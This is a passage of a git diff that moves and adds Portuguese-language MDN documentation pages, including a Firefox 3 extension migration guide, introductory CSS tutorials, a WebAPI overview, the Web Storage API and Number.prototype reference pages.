Nota: Se a sua extensão ainda usa um script Install.js ao invés de um manifesto de instalação, você precisa fazer a transição para um manifesto de instalação agora. O Firefox 3 não mais suporta os scripts install.js em arquivos XPI.
- -

Adicionando localizações para o manifesto de instalação

- -

O Firefox 3 suporta novas propriedades no manifesto de instalação para especificar descrições localizadas. Os antigos métodos ainda funcionam, entretanto o novo Firefox permite pegar as localizações sempre que os complementos estiverem desabilitados e com instalação pendente. Veja Localizar descrições de extensões para mais detalhes.

- -

Passo 2: Certificar-se de que está a proporcionar atualizações seguras

- -

Se você está hospedando complementos por si mesmo e não em um provedor de hospedagem de complementos seguro como addons.mozilla.org então você precisa oferecer um método seguro de atualizar seu complemento. Isto poderá envolver a hospedagem das suas atualizações em um website SSL, ou usando chaves criptográficas para assinar a informação da atualização. Leia Securing Updates para mais informações.

- -

Passo 3: Lidar com APIs alteradas

- -

Várias APIs foram alterados de maneira significativa. O mais significativo destes, que provavelmente afetará um grande número de extensões, são:

- -

DOM

- -

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they - can be inserted into the current document. For more on the Node.ownerDocument issues, see the - W3C DOM FAQ.

- -

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many - sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for - improved future compatibility.

- -

Marcadores & Histórico

- -

Se sua extensão acessa dados dos favoritos ou do histórico de alguma maneira, ela precisará de um trabalho substancial para tornar-se compatível com o Firefox 3. As antigas APIs de acesso a estas informações foram substituidas pela nova arquitetura en:Places. Veja Migration Guide for Places para detalhes na atualização da sua extensão existente para usar a API Places.

- -

Gestor de Descargas

- -

A API do Gestor de Descargas foi alterado ligeiramente devido à transição de um RDF para armazenar dados usando a API en:Storage. Esta pode ser uma transição muito fácil de fazer. Além disso, a API de monitoramento do progesso de downloads mudou para suportar múltiplos receptores no gestor de descargas. Consulte en:nsIDownloadManager, en:nsIDownloadProgressListener, e en:Monitoring downloads para mais informação.

- -

Gestor de Palavras-passe

- -

Se sua extensão acessa informações do login de usuário usando o Gerenciador de Senhas, será necessário atualizá-la para usar a nova API de Gerenciamento de Login.

- - - -

Você pode também sobrepor o armazenamento do gerenciador de senhas construído se você desejar fornecer a implementação de seu próprio armazenamento de senhas nas suas extensões. Veja Criando um módulo de armazenamento de Gerenciador de Login para mais detalhes.

- -

janelas (Menus, Menus de Contexto, Dicas de Ferramenta e Painéis)

- -

O sistema de Popup XUL foi bastante modificado no Firefox 3. O sistema de Popup inclui menus principais, menus de contexto e painéis popup. Um guia sobre como usar Popups foi criado, detalhando como o sistema trabalha. Uma coisa a se notar é que popup.showPopup foi depreciado em favor do novo popup.openPopup e popup.openPopupAtScreen.

- -

Auto Completar

- -

O método handleEnter() da interface en:nsIAutoCompleteController foi alterado para aceitar um argumento que indica quando o texto foi selecionado do popup autocompletar ou pelo usuário pressionando enter depois de digitar o texto.

- -

DOMParser

- - - -

Interfaces removidas

- -

As seguintes interfaces foram removidas do Gecko 1.9, que direcionam o Firefox 3. Se sua extensão faz uso de alguma destas, você precisará atualizar seu código:

- - - -

Passo 4: Procurar por alterações relevantes no chrome

- -

Houveram menores mudanças no chrome que podem requisitar mudanças no seu código. Uma nova vbox foi adicionada, chamada "browser-bottombox", que inclui a barra de procura e a barra de estado à janela do navegador. Embora ela não afete a aparência da exibição, ela pode afetar sua extensão se ela sobrepuser o chrome em relação a estes elementos.

- -

Por exemplo, se você anteriormente sobrepôs algum chrome antes da barra de estado, como isto:

- -
<window id="main-window">
-  <something insertbefore="status-bar" />
-</window>
-
- -

Você deve agora sobrepor desta maneira:

- -
<vbox id="browser-bottombox">
-  <something insertbefore="status-bar" />
-</vbox>
-
- -

Outras alterações

- -

Mudanças simples adicionais que tiver de fazer enquanto atualiza sua extensão para trabalhar com o Firefox 3, aqui.

- - - -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/componentes/index.html b/files/pt-pt/componentes/index.html deleted file mode 100644 index e8487b3b61..0000000000 --- a/files/pt-pt/componentes/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Componentes -slug: Componentes -tags: - - Componentes - - NecessitaDeConteúdo - - Referência_da_API_do_XPCOM - - Todas_as_Categorias - - XPCOM ---- -


- Necessitamos duma lista detalhada de Componentes aqui, do género da lista de Interfaces.

- -

Componentes, Listagem Alfabética (incompleto)

- - diff --git "a/files/pt-pt/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" "b/files/pt-pt/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" deleted file mode 100644 index f3bc1e6187..0000000000 --- "a/files/pt-pt/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" +++ /dev/null @@ -1,5 +0,0 @@ ---- -title: Configurando um servidor de atualização -slug: Configurando_um_servidor_de_atualização ---- -

O objetivo deste documento é fornecer instruções básicas sobre a configuração de seu próprio servidor de atualização.

diff --git a/files/pt-pt/conflicting/glossary/api/index.html b/files/pt-pt/conflicting/glossary/api/index.html new file mode 100644 index 0000000000..cc99d2c980 --- /dev/null +++ b/files/pt-pt/conflicting/glossary/api/index.html @@ -0,0 +1,35 @@ +--- +title: IPA +slug: Glossário/API +tags: + - Glossário + - IPA + - Infraestrutura +translation_of: Glossary/API +--- +

Uma IPA (Interface de Programação de Aplicação ou em inglês API) é um conjunto de funcionalidades e regras que existem dentro dum logiciário (a aplicação) que habilitam a interação entre o logiciário - em oposição a uma interface de utilizador humana. A IPA pode ser vista como um simples contrato (a interface) entre a aplicação que a oferece e os outros items, como os logiciários e equipamentos de terceiros.

+ +

No desenvolvimento da Web, uma IPA é normalmente um conjunto de funcionalidades de código (e.g. {{glossary("method","métodos")}}, {{Glossary("property","propriedades")}}, eventos e {{Glossary("URL","URLs")}}) nas quais um desenvolvedor pode usar nas suas aplicações para interagir com os componentes do navegador dum utilizador, ou outros logiciários/equipamentos no computador do utilizador, ou sítios web e serviços de terceiros.

+ +

Por exemplo:

+ + + +

Saiba mais

+ +

Conhecimento geral

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..2ee2937e47 --- /dev/null +++ b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,135 @@ +--- +title: O que é CSS +slug: Web/CSS/Como_começar/O_que_é_CSS +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS +--- +

{{Next("CSS:Como começar:Porque usar CSS")}}

+ +

Esta página explica o que é CSS. Você cria um documento de amostra para que possa trabalhar com as páginas seguintes.

+ +

Informações: O que é CSS?

+ +

CSS é uma linguagem que especifica como os documentos são apresentados aos usuários.

+ +

Um documento é uma coleção de informações estruturadas utilizando uma linguagem de marcação.

+ + + + + + + + +
Exemplos
+
    +
  • Uma página da Web como esta é um documento.
    + As informações que você vê em uma página da Web, geralmente, é estruturada utilizando a linguagem de marcação HTML (HyperText Markup Language - Linguagem de Marcação de Hiper Texto).
  • +
+ +
    +
  • Uma caixa de diálogo em um aplicativo Mozilla é um documento.
    + A interface com o usuário controla o que aparece em uma caixa de diálogo Mozilla, que é estruturada utilizando a linguagem de marcação XUL (XML User-interface Language - Linguagem de Interface do Usuário XML).
  • +
+
+ +

Neste tutorial, os quadros entitulados Mais detalhes como este logo abaixo, contêm informações opcionais. Se você está com pressa para progredir no tutorial, você pode ignorar esses quadros, retornando para lê-los posteriormente. Caso contrário, leia-os ao encontrá-los, e talvez siga os links para aprender mais.

+ + + + + + + + +
Mais detalhes
+

Um documento não é igual a um arquivo. Ele pode ou não ser armazenado em um arquivo.

+ +

Por exemplo, o documento que você está lendo agora não está armazendo em um arquivo. Quando seu navegador da Web solicita esta página, o servidor consulta um banco de dados e gera o documento, reunindo partes do documento a partir de muitos arquivos. Entretanto, neste tutorial você vai trabalhar com documentos que estão armazenados em arquivos.

+ +

Para mais informações sobre documentos e linguagens de marcação, consulte outras partes deste Web site — por exemplo:

+ + + + + + + + + + + + + + + + + + + + +
HTMLpara páginas da Web
XMLpara documentos estruturados em geral
SVGpara gráficos
XULpara interfaces com o usuário no Mozilla
+ +

Na Parte II deste tutorial você verá exemplos dessas linguagens de marcação.

+
+ +

Apresentar um documento a um usuário significa convertê-lo para uma forma que humanos possam usá-lo. O Mozilla é projetado para apresentar documentos visualmente — por exemplo, em uma tela de computador, projetor ou impressora.

+ + + + + + + + +
Mais detalhes
CSS não serve apenas para navegadores e apresentação visual. Em uma terminologia formal de CSS, o programa que apresenta um documento ao usuário é chamado de agente usuário (UA - User Agent). Um navegador é apenas um tipo de UA. Entretanto, na Parte I deste tutorial você irá trabalhar apenas com CSS em um navegador. +

Para mais definições formais de terminologia sobre CSS, consulte Definitions na CSS Specification.

+
+ +

Ação: Criando um documento

+ +

Utilize seu computador para criar um novo diretório e um novo arquivo de texto dentro dele. O arquivo irá conter seu documento.

+ +

Copie e cole o código HTML mostrado abaixo. Salve o arquivo utilizando o nome doc1.html

+ +
+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<html>
+  <head>
+  <title>Documento de amostra</title>
+  </head>
+
+  <body>
+    <p>
+      <strong>C</strong>ascading
+      <strong>S</strong>tyle
+      <strong>S</strong>heets
+    </p>
+  </body>
+</html>
+
+
+ +

Em seu navegador, abra uma aba ou uma nova janela, e abra o arquivo do diretório.

+ +

Você deve ver o texto com as iniciais em negrito, conforme abaixo:

+ + + + + + + +
Cascading Style Sheets
+ +

O que você vê em seu navegador pode não ser exatamente como o exibido aqui, por causa das configurações de seu navegador e deste wiki. Se houver diferenças na fonte, espaçamento ou cor, não há importância.

+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Seu documento ainda não utiliza CSS. Na página a seguir você utilizará CSS para especificar o estilo: Porque usar CSS

+ +

{{Next("CSS:Como começar:Porque usar CSS")}}

diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html new file mode 100644 index 0000000000..2adc531924 --- /dev/null +++ b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html @@ -0,0 +1,111 @@ +--- +title: Porque usar CSS +slug: Web/CSS/Como_começar/Porque_usar_CSS +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS +--- +

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

+ +

Esta página explica porque os documentos usam CSS. Você usa CSS para adicionar uma folha de estilo ao seu documento de amostra.

+ +

Informações: Por que usar CSS?

+ +

CSS ajuda a manter o conteúdo das informações de um documento separado dos detalhes de como exibí-lo. Os detalhes de como exibir o documento são conhecidos como estilo. Você mantém o estilo separado do conteúdo, de modo que você pode:

+ + + + + + + + + + +
Exemplo
Seu Web site pode ter milhares de páginas similares. Utilizando CSS, você armazena as informações em arquivos comuns que todas as páginas compartilham. +

Quando um usuário exibe uma página da Web, o navegador do usuário carrega as informações de estilo junto com o conteúdo da página.

+ +

Quando um usuário imprime uma página da Web, você fornece informações de estilo diferentes que tornam a página impressa mais fácil de ler.

+
+ +

Geralmente, com CSS, você utiliza a linguagem de marcação para descrever o conteúdo das informações do documento, não seu estilo. Você utiliza CSS para especificar o estilo, não o conteúdo. (Posteriormente neste tutorial, você verá algumas exceções deste método.)

+ + + + + + + + +
Mais detalhes
Uma linguagem de marcação, como o HTML, também fornece alguns modos de especificar o estilo. +

Por exemplo, em HTML, você pode usar uma tag <b> para tornar o texto negrito, e você pode especificar a cor do segundo plano de uma página na tag <body>.

+ +

Ao utilizar CSS, você normalmente evita utilizar esses recursos da linguagem de marcação para que todas as informações de estilo de seu documento estejam em um só lugar.

+
+ +

Ação: Criando uma folha de estilo

+ +

Crie outro arquivo de texto no mesmo diretório do anterior. Este arquivo será sua folha de estilo. Nomeie-o como: style1.css

+ +

Em seu arquivo CSS, copie e cole esta única linha, então salve o arquivo:

+ +
+
strong {color: red;}
+
+
+ +

Ligando seu documento à sua folha de estilo

+ +

Para ligar seu documento com sua folha de estilo, edite seu aquivo HTML. Adicione a linha mostrada aqui em negrito:

+ +
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+  <HEAD>
+  <TITLE>Documento de amostra</TITLE>
+  <LINK rel="stylesheet" type="text/css" href="style1.css">
+  </HEAD>
+  <BODY>
+    <P>
+      <STRONG>C</STRONG>ascading
+      <STRONG>S</STRONG>tyle
+      <STRONG>S</STRONG>heets
+    </P>
+  </BODY>
+</HTML>
+
+
+ +

Salve o arquivo e atualize a tela do seu navegador. A folha de estilo fez as letras iniciais aparecerem em vermelha, como isto:

+ + + + + + + +
Cascading Style Sheets
+ + + + + + + + +
Desafio
Além do vermelho, CSS permite algumas outras cores com nomes. +

Sem olhar um referência, ache mais cinco nomes de cores que trabalham em sua folha de estilo.

+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Agora você tem um documento de amostra ligado a uma folha de estilo separada, você está pronto para ler mais sobre como seu navegador combina-os quando exibe o documento na tela: Como o CSS trabalha.

+ +

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

diff --git a/files/pt-pt/conflicting/mdn/contribute/index.html b/files/pt-pt/conflicting/mdn/contribute/index.html new file mode 100644 index 0000000000..9c9ca16511 --- /dev/null +++ b/files/pt-pt/conflicting/mdn/contribute/index.html @@ -0,0 +1,94 @@ +--- +title: Contribuir para a MDN +slug: MDN_at_ten/Contribuir_para_MDN +tags: + - Metadados MDN + - Mozilla + - contribuir +translation_of: MDN_at_ten/Contributing_to_MDN +--- +
+
+

O processo de contribuição

+ +

Contributing to MDN is easy, and there are two ways you can get started. Do you see a page you can make better (by fixing a typo, or adding new information, or fixing technical errors)? Just click the big blue "Edit" button at the top of the page. Do you know something that we don’t cover yet? Just create a new page; our community of amazing reviewers and editors will ensure that your page matches our style guide and is in the right place on the site. No stress over getting it "just right." Everyone can help make the Web a better place.

+
+ +
+
+
+

Junte-se a nós!

+ +

Junte-se a nós, para ensinar o mundo a desenvolver a Web aberta!

+ +

Junte-se hoje

+
+
+
+
+ +
+
+

Uma amostragem de perfis de colaborador

+ +

MDN is made up of a vast community of contributors. While we can't offer profiles of all of them (we'd be here for a very long time!), we can share something about a few of the ones who have made substantial or important contributions, as well as those who are most likely to be available on the MDN Web Docs chat room to help you out if you could use some assistance with your contributions.

+ +
+
+

Chris Blizzard
+ Antigo Diretor de Evangelismo, Mozilla

+ +

Blizzard oversaw and drove Mozilla Developer Center's transition from focusing on Mozilla-specific material to a community-maintained resource useful to a variety of Web developers.

+ +

Nickolay Ponomarev
+ Voluntário

+ +

Nickolay was one of the earliest contributors, helping with the initial DevEdge clean-up effort. He has continued contributing in many areas, both for Web standards and Mozilla products, ever since.

+ +

Andrew Overholt
+ Gestor de Engenheiros

+ +

Andrew leads developers on the Web API team. As part of his job, he encourages all DOM and API developers to help make sure documentation is great by providing information the writing team needs, reviewing documentation, and assisting with sample code. This example makes the MDN team very, very happy.

+ +

Jérémie Patonnier
+ Gestor de Projeto

+ +

Jérémie began contributing to MDN in 2011 by documenting SVG properties, because he needed this information for his own work. Jérémie has become a leader in the MDN French community, hosting regular "Mercredi Docs" (Wednesday Docs) sessions in the Mozilla Paris office. Currently, he is leading efforts to create the Learning area and to improve and regularize browser compatibility data across MDN.

+ +

Julien (Sphinx)
+ Voluntário

+ +

Julien contributed the "lion's share" of effort to translate the entire JavaScript section of MDN into French. Many other contributors also helped in this effort, but Julien spent many nights and weekends over several months, translating JavaScript articles.

+ +

Jeff Walden
+ Engenheiro de Software, JavaScript Engine

+ +

Jeff Walden is now on the SpiderMonkey team, who has contributed to MDN since its beginning, and across many topic areas, including XPCOM, Mozilla build and test, JavaScript, CSS, and more.

+
+ +
+

Priyanka Nag
+ Voluntária

+ +

Priyanka Nag joined MDN in 2012, but she became active with the MDN community only after the Mozilla Summit in 2013, where she met and worked with Luke Crouch and David Walsh from the MDN development team; this acted as her main inspiration to start contributing to MDN. Priyanka mainly enjoys evangelizing MDN, hosting MDN events and introducing more people to MDN, along with making some edits on the wiki at times. She is currently working as a Technical writer at Red Hat and she proudly claims that her interest in technical writing started through her MDN contributions, which ended up influencing her career decision in a great way.

+ +

Saurabh Nair
+ Voluntário

+ +

Saurabh has been contributing to MDN since 2011, and became more active in the last year. He is on the “spam watch” team, who look out for spam pages, deleting them and banning the spammers as soon as they appear. Since he lives in India, he can do this while MDN staff members in Europe and North America are sleeping.

+ +

Eric Shepherd (Sheppy)
+ Escritor Técnico Sénior

+ +

{{UserLink("Sheppy")}} was the first full-time writer hired by Mozilla to work exclusively on developer documentation, starting way back on April 3, 2006. He writes about anything that needs coverage, including stuff nobody else wants anything to do with. Over the years, he's written extensively about everything from Add-ons to XUL.

+ +

Sebastian Zartner
+ Voluntário

+ +

Sebastian's first contributions to MDN were in 2007, to German translations, but he soon started working on English ones. He has contributed a lot to both the content and structure of the CSS reference, including creating a JSON API for CSS pages, and macros using this API.

+
+
+
+ +
{{TenthCampaignQuote(7)}} {{TenthCampaignQuote(5)}}
+
diff --git a/files/pt-pt/conflicting/web/api/index.html b/files/pt-pt/conflicting/web/api/index.html new file mode 100644 index 0000000000..fbcae3aea5 --- /dev/null +++ b/files/pt-pt/conflicting/web/api/index.html @@ -0,0 +1,214 @@ +--- +title: WebAPI +slug: Web/WebAPI +tags: + - Aplicações + - Apps + - DOM + - Firefos OS + - Movel +translation_of: Web/API +translation_of_original: WebAPI +--- +

WebAPI é um termo utilizado para referir um conjunto de compatibilidade de dispositivo e APIs de acesso que permitem que as aplicações da Web e o conteúdo acedam ao dispositivo de hardware (tais como estado da bateria ou hardware de vibração do dispositivo), bem como aceder aos dados guardados no dispositivo (tais como o calendário ou lista de contactos). Ao adicionarmos estas APIs, nós esperamos que expanda o que a Web pode fazer hoje, para também incluirem o que apenas as plataformas proprietárias podiam fazer no passado.

+ +
+

Nota: para uma breve explicação de cada distintivo, por favor, consulte a documentação pdas aplicações empacotadas.

+
+ +
+
+

APIs de Comunicação

+ +
+
Network Information API
+
Provides basic information about the current network connection, such as connection speed.
+
Bluetooth {{NonStandardBadge}}
+
The WebBluetooth API provides low-level access to the device's Bluetooth hardware.
+
Mobile Connection API {{NonStandardBadge}}
+
Exposes information about the device's cellular connectivity, such as signal strength, operator information, and so forth.
+
Network Stats API {{NonStandardBadge}}
+
Monitors data usage and exposes this data to privileged applications.
+
Telephony {{NonStandardBadge}}
+
Lets apps place and answer phone calls and use the built-in telephony user interface.
+
WebSMS {{NonStandardBadge}}
+
Lets apps send and receive SMS text messages, as well as to access and manage the messages stored on the device.
+
WiFi Information API {{NonStandardBadge}}
+
A privileged API which provides information about signal strength, the name of the current network, available WiFi networks, and so forth.
+
+ +

APIs de acesso ao hardware

+ +
+
Ambient Light Sensor API
+
Provides access to the ambient light sensor, which lets your app detect the ambient light level in the vicinity of the device.
+
Battery Status API
+
Provides information about the battery's charge level and whether or not the device is currently plugged in and charging.
+
Geolocation API
+
Provides information about the device's physical location.
+
Pointer Lock API
+
Lets apps lock access to the mouse and gain access to movement deltas rather than absolute coordinates; this is great for gaming.
+
Proximity API
+
Lets you detect proximity of the device to a nearby object, such as the user's face.
+
Device Orientation API
+
Provides notifications when the device's orientation changes.
+
Screen Orientation API
+
Provides notifications when the screen's orientation changes. You can also use this API to let your app indicate what orientation it prefers.
+
Vibration API
+
Lets apps control the device's vibration hardware for things such as haptic feedback in games. This is not intended for things such as notification vibrations. See the Alarm API for that.
+
Camera API {{NonStandardBadge}}
+
Allows apps to take photographs and/or record video using the device's built-in camera.
+
Power Management API {{NonStandardBadge}}
+
Lets apps turn on and off the screen, CPU, device power, and so forth. Also provides support for listening for and inspecting resource lock events.
+
+ +

View All...

+
+ +
+

APIs de gestão de dados

+ +
+
FileHandle API {{NonStandardBadge}}
+
Provides support for writable files with locking support.
+
IndexedDB
+
Client-side storage of structured data with support for high-performance searches.
+
Settings API {{NonStandardBadge}}
+
Lets apps examine and change system-wide configuration options that are permanently stored on the device.
+
+ +

Outras APIs

+ +
+
Alarm API
+
Lets apps schedule notifications. Also provides support for automatically launching an app at a specific time.
+
Simple Push API
+
Lets the platform send notification messages to specific applications.
+
Push API
+
Gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.
+
Web Notifications
+
Lets applications send notifications displayed at the system level.
+
Apps API {{NonStandardBadge}}
+
The Open WebApps API provides support for installing and managing Web apps. In addition, support is provided to let apps determine payment information.
+
Web Activities {{NonStandardBadge}}
+
Lets an app delegate an activity to another app; for example, an app might ask another app to select (or create) and return a photo. Typically the user is able to configure what apps are used for which activities.
+
WebPayment API {{NonStandardBadge}}
+
Lets Web content initiate payments and refunds for virtual goods.
+
Browser API {{NonStandardBadge}}
+
Provides support for building a Web browser completely using Web technologies (in essence, a browser within a browser).
+
+ +
+
Idle API
+
Lets apps receive notifications when the user is not actively using the device.
+
Permissions API {{NonStandardBadge}}
+
Manages app permissions in a centralized location. Used by the Settings app.
+
Time/Clock API {{NonStandardBadge}}
+
Provides support for setting the current time. The time zone is set using the Settings API.
+
+ +

Comunidade de WebAPI

+ +

If you need help with these APIs, there are several ways you can talk to other developers making use of them.

+ +
    +
  • Consult the WebAPI forum: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
  • +
  • Visit the WebAPI IRC channel: #webapi
  • +
+ +

Não se esqueça sobre a netiquette...

+ + + + +
+
+ +

 

+ +
+ + + + + +
diff --git a/files/pt-pt/conflicting/web/api/web_storage_api/index.html b/files/pt-pt/conflicting/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..192a51ee66 --- /dev/null +++ b/files/pt-pt/conflicting/web/api/web_storage_api/index.html @@ -0,0 +1,156 @@ +--- +title: API de Armazenamento da Web +slug: Web/API/API_de_Armazenamento_da_Web +tags: + - API + - Armazenamento + - Armazenamento Local + - Armazenamento da Sessão + - Armazenamento da Web + - Referencia +translation_of: Web/API/Web_Storage_API +--- +

{{DefaultAPISidebar("Web Storage API")}}

+ +

A API de Armazenamento da Web fornece mecanismos pelos quais os navegadores podem armazenar pares chave/valor, de uma maneira muito mais intuitiva do que utilizar cookies.

+ +

Armazenamento da Web - conceitos e utilização

+ +

The two mechanisms within Web Storage are as follows:

+ + + +

These mechanisms are available via the {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} properties (to be more precise, in supporting browsers the Window object implements the WindowLocalStorage and WindowSessionStorage objects, which the localStorage and sessionStorage properties hang off) — invoking one of these will create an instance of the {{domxref("Storage")}} object, through which data items can be set, retrieved and removed. A different Storage object is used for the sessionStorage and localStorage for each origin — they function and are controlled separately.

+ +
+

Nota: From Firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10MB. This has been done to avoid memory issues caused by excessive usage of web storage.

+
+ +
+

Nota: Access to Web Storage from third-party IFrames is denied if the user has disabled third-party cookies (Firefox implements this behaviour from version 43 onwards.)

+
+ +
+

Nota: Web Storage is not the same as mozStorage (Mozilla's XPCOM interfaces to SQLite) or the Session store API (an XPCOM storage utility for use by extensions).

+
+ +

Armazenamento da Web - Interfaces

+ +
+
{{domxref("Storage")}}
+
Allows you to set, retrieve and remove data for a specific domain and storage type (session or local.)
+
{{domxref("Window")}}
+
The Web Storage API extends the {{domxref("Window")}} object with two new properties — {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} — which provide access to the current domain's session and local {{domxref("Storage")}} objects respectively, and a {{domxref("Window.onstorage")}} event handler that fires when a storage area changes (e.g. a new item is stored.)
+
{{domxref("StorageEvent")}}
+
The storage event is fired on a document's Window object when a storage area changes.
+
+ +

Exemplos

+ +

To illustrate some typical web storage usage, we have created a simple example, imaginatively called Web Storage Demo. The landing page provides controls that can be used to customize the colour, font and decorative image. When you choose different options, the page is instantly updated; in addition your choices are stored in localStorage,  so that when you leave the page then load it again later on your choices are remembered.

+ +

In addition, we have provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the {{domxref("StorageEvent")}} is fired.

+ +

Especificações

+ + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilidade de navegador

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Armazenamento local4{{CompatVersionUnknown}}3.5810.504
Armazenamento da sessão5{{CompatVersionUnknown}}2810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico2.1{{CompatVersionUnknown}}{{ CompatUnknown }}811iOS 3.2
+
+ +

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

+ +
+

Nota: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

Modos Incógnito / Navegação Privada

+ +

Most modern browsers support a privacy option called 'Incognito', 'Private Browsing' or something similar that doesn't store data like history and cookies. This is fundamentally incompatible with Web Storage for obvious reasons. As such, browser vendors are experimenting with different scenarios for how to deal with this incompatibility.

+ +

Most browsers have opted for a strategy where storage APIs are still available and seemingly fully functional, with the one big difference that all stored data is wiped after the browser is closed. For these browsers there are still different interpretations of what should be done with existing stored data (from a regular browsing session). Should it be available to read when in Private mode? Then there are some browsers, most notably Safari, that have opted for a solution where storage is available, but is empty and has a quota of 0 bytes assigned, effectively making it impossible to write data to it.

+ +

Developers should be aware of these different implementations and take them into account when developing websites depending on Web Storage APIs. For more information please have a look at this WHATWG blog post that specifically deals with this topic.

+ +

Consulte também

+ + diff --git a/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html b/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..3b5d4adef9 --- /dev/null +++ b/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html @@ -0,0 +1,23 @@ +--- +title: XMLHttpRequest +slug: XMLHttpRequest +tags: + - AJAX + - 'AJAX:Outros_Recursos' + - Outros_Recursos + - Todas_as_Categorias +--- +

 

+ +

Todos os outros recursos

+ + diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html new file mode 100644 index 0000000000..9014ecdb24 --- /dev/null +++ b/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html @@ -0,0 +1,131 @@ +--- +title: Number.prototype +slug: Web/JavaScript/Reference/Global_Objects/Number/prototype +tags: + - JavaScript + - Number + - Property + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number +translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype +--- +
{{JSRef}}
+ +

A propriedade Number.prototype representa o protótipo (prototype) para o constructor de {{jsxref("Number")}}.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Descrição

+ +

Todas as instâncias de {{jsxref("Number")}} herdam de Number.prototype. O objecto protótipo (prototype) do constructor de {{jsxref("Number")}} pode ser modificado para afectar todas as instâncias de {{jsxref( "Number")}}.

+ +

Propriedades

+ +
+
Number.prototype.constructor
+
Retorna a função criadora das instâncias deste objecto. Por predifinição este é o objecto {{jsxref("Number")}}.
+
+ +

Métodos

+ +
+
{{jsxref("Number.prototype.toExponential()")}}
+
Retorna uma representação em string do número em notação científica.
+
{{jsxref("Number.prototype.toFixed()")}}
+
Retorna uma representação em string do número em notação de ponto fixo.
+
{{jsxref("Number.prototype.toLocaleString()")}}
+
Retorna uma string do número numa representação sensível à linguagem. Faz override do método {{jsxref("Object.prototype.toLocaleString()")}}.
+
{{jsxref("Number.prototype.toPrecision()")}}
+
Retorna uma representação em string do número numa precisão especificada em ponto fixo ou notação científica.
+
{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}
+
Retorna um objecto literal representando o objecto {{jsxref("Number")}} especificado; podes usar este valor para criar um novo objecto. Faz override ao método {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Number.prototype.toString()")}}
+
Retorna uma representação em string do objecto especificado na base especificada. Faz override ao método {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Number.prototype.valueOf()")}}
+
Retorna o valor primitivo do objecto especificado. Faz override ao método {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('ES1')}}{{Spec2('ES1')}}Definição Inicial. Implementado em  JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
+ +

Compatibilidade dos browsers

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
